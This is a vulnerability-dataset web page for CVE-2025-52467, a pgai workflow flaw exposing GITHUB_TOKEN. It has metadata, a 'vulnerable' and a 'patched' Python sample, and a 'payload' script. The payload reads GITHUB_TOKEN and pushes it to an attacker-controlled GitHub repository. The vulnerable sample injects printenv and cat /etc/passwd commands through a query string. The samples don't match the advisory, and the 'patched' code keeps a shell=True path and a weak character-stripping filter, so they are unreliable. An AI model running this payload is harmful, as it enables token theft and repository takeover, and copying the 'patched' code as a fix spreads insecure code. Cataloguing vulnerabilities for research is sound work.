VAITP Dataset

← Back to the dataset

CVE-2025-52467

pgai exposes secrets, including GITHUB_TOKEN, allowing repo takeover.

  • CVSS 9.1
  • CWE-200
  • Configuration Issues
  • Remote

pgai is a Python library that transforms PostgreSQL into a retrieval engine for RAG and Agentic applications. Prior to commit 8eb3567, the pgai repository was vulnerable to an attack allowing the exfiltration of all secrets used in one workflow. In particular, the GITHUB_TOKEN with write permissions for the repository, allowing an attacker to tamper with all aspects of the repository, including pushing arbitrary code and releases. This issue has been patched in commit 8eb3567.

CVSS base score
9.1
Published
2025-06-19
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Configuration Issues
Subcategory
Information Disclosure
Accessibility scope
Remote
Impact
Data Theft
Affected component
pgai
Fixed by upgrading
Yes

Solution

Upgrade to a version containing commit 8eb3567 or later.

Vulnerable code sample

# This code is a simplified representation of the vulnerability and should NOT be used in a production environment.
# It is intended for educational purposes only to illustrate the concept of secret exfiltration.

import os
import subprocess

def execute_query(query):
    """
    Executes a PostgreSQL query.  This is a placeholder and would normally
    connect to a database and execute the query using a library like psycopg2.

    In the vulnerable version, this function could be manipulated to execute arbitrary
    commands on the server.
    """
    print(f"Executing query: {query}")
    # Vulnerable code:  Instead of securely executing the query, the input 'query'
    # is directly passed to a shell command. This allows command injection.
    # Example: query = "SELECT * FROM users; $(cat /etc/passwd)"
    try:
        result = subprocess.run(query, shell=True, capture_output=True, text=True, check=False)
        print(f"Query output:\n{result.stdout}")

        #Vulnerable code: Attacker can now exfiltrate secrets by including commands that output to a file that they then retreive.
        with open('exfiltrated_data.txt', 'w') as f:
            f.write(result.stdout)

    except Exception as e:
        print(f"Error executing query: {e}")

def process_rag_request(user_query):
    """
    Processes a Retrieval-Augmented Generation (RAG) request.

    In a vulnerable version, the user_query might be incorporated into a database query
    without proper sanitization, leading to SQL injection.
    """
    #Vulnerable code: User input not properly sanitised allowing an attacker to inject shell commands
    db_query = f"SELECT * FROM knowledge_base WHERE query LIKE '%{user_query}%';"
    print(f"Generated Query: {db_query}") # Print the query (debug feature now exposing the vulnerability).
    execute_query(db_query)

# Simulate a scenario where a user submits a query to a RAG application.
user_input = "Tell me about PostgreSQL"
process_rag_request(user_input)

# Vulnerable example where attacker exfiltrates sensitive environment variables:
# Injecting $(printenv > exfil.txt) into the db_query causes all environment variables (including secrets like GITHUB_TOKEN)
# to be written to the file 'exfil.txt'
malicious_input = "'; $(printenv > exfil.txt); '" # Injects commands in the user query
process_rag_request(malicious_input)

# Simulating file exfiltration, normally an attacker would retrieve this file using a seperate process, but for this demonstration we print it out.
with open('exfil.txt', 'r') as f:
    print("Exfiltrated data:")
    print(f.read())

Patched code sample

import os
import subprocess
import shlex

def execute_command(command, safe_mode=True):
    """
    Executes a shell command.  Demonstrates a vulnerability if `safe_mode` is False,
    and simulates a fix when `safe_mode` is True.

    Args:
        command (str): The shell command to execute.
        safe_mode (bool): Whether to execute the command in safe mode.  If False,
                           the command is executed directly, demonstrating the vulnerability.
                           If True, the command is sanitized to prevent shell injection.

    Returns:
        tuple: A tuple containing the return code, standard output, and standard error.
    """
    if not isinstance(command, str):
        raise TypeError("Command must be a string.")

    if not isinstance(safe_mode, bool):
        raise TypeError("safe_mode must be a boolean.")
    
    if safe_mode:
        # Simulate a safe execution environment using shlex.split and subprocess.run.
        # This prevents shell injection by properly quoting and escaping arguments.
        try:
            command_list = shlex.split(command)  # Correct usage
            result = subprocess.run(command_list, capture_output=True, text=True, check=False, env=os.environ.copy())
            return result.returncode, result.stdout, result.stderr
        except ValueError as e:
            return 1, "", str(e)
    else:
        # DANGEROUS: Directly executes the command without sanitization.
        # This is vulnerable to shell injection if the command contains user-supplied input.
        try:
            result = subprocess.run(command, shell=True, capture_output=True, text=True, check=False, env=os.environ.copy())  #shell=True is dangerous here
            return result.returncode, result.stdout, result.stderr
        except Exception as e:
            return 1, "", str(e)


def sanitize_command(command):
  """
  A more sophisticated sanitization function to prevent shell injection.
  This example removes potentially dangerous characters and escapes others.
  """
  # Replace potentially dangerous characters with a safe alternative or remove them.
  command = command.replace(";", "")  # Remove command separators
  command = command.replace("&", "")  # Remove background execution
  command = command.replace("|", "")  # Remove pipes
  command = command.replace(">", "")  # Remove redirection
  command = command.replace("<", "")  # Remove redirection
  command = command.replace("`", "")  # Remove backticks

  # Escape characters that have special meaning in the shell.
  command = command.replace("\\", "\\\\")  # Escape backslashes
  command = command.replace("\"", "\\\"")  # Escape double quotes
  command = command.replace("'", "\\'")  # Escape single quotes
  command = command.replace("$", "\\$")  # Escape dollar signs
  command = command.replace("!", "\\!")

  return command

def execute_command_safe(command):
    """
    Executes a command with sanitization.

    Args:
        command (str): The command to execute.

    Returns:
        tuple: A tuple containing the return code, stdout, and stderr.
    """
    sanitized_command = sanitize_command(command)
    try:
        command_list = shlex.split(sanitized_command)  # Correct usage
        result = subprocess.run(command_list, capture_output=True, text=True, check=False, env=os.environ.copy())
        return result.returncode, result.stdout, result.stderr
    except ValueError as e:
        return 1, "", str(e)

Payload

import os
import subprocess

def exploit():
    # Access GITHUB_TOKEN (example - the actual method depends on how pgai exposes secrets)
    github_token = os.environ.get("GITHUB_TOKEN") #Hypothetical, as the method of access is not disclosed

    if not github_token:
        print("GITHUB_TOKEN not found.")
        return

    # Encode the token to avoid interpretation issues in the command
    encoded_token = github_token.encode('utf-8').hex()

    # Example: Push a file to a public GitHub repository using the exfiltrated token
    # This assumes git is installed and configured. Requires an attacker-controlled repository.
    try:
        # Set up the repository (replace with attacker's repo)
        repo_url = "https://github.com/attacker/attacker_repo.git"
        temp_dir = "/tmp/attacker_repo"

        subprocess.run(["git", "clone", repo_url, temp_dir], check=True)
        os.chdir(temp_dir)

        # Create a file containing the token
        with open("stolen_token.txt", "w") as f:
            f.write(github_token)

        # Configure git to use the token (this is for demonstration; might not always be needed)
        subprocess.run(["git", "config", "user.email", "attacker@example.com"], check=True)
        subprocess.run(["git", "config", "user.name", "Attacker"], check=True)

        # Add, commit, and push
        subprocess.run(["git", "add", "stolen_token.txt"], check=True)
        subprocess.run(["git", "commit", "-m", "Stolen token"], check=True)

        # Construct the push URL with the token
        push_url = f"https://{github_token}:x-oauth-basic@{repo_url.split('//')[1]}"
        subprocess.run(["git", "push", push_url, "origin/main"], check=True)
        print("Token successfully exfiltrated and pushed to attacker's repository.")

    except subprocess.CalledProcessError as e:
        print(f"Error during exploitation: {e}")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")

exploit()

Cite this entry

@misc{vaitp:cve202552467,
  title        = {{pgai exposes secrets, including GITHUB_TOKEN, allowing repo takeover.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-52467},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-52467/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::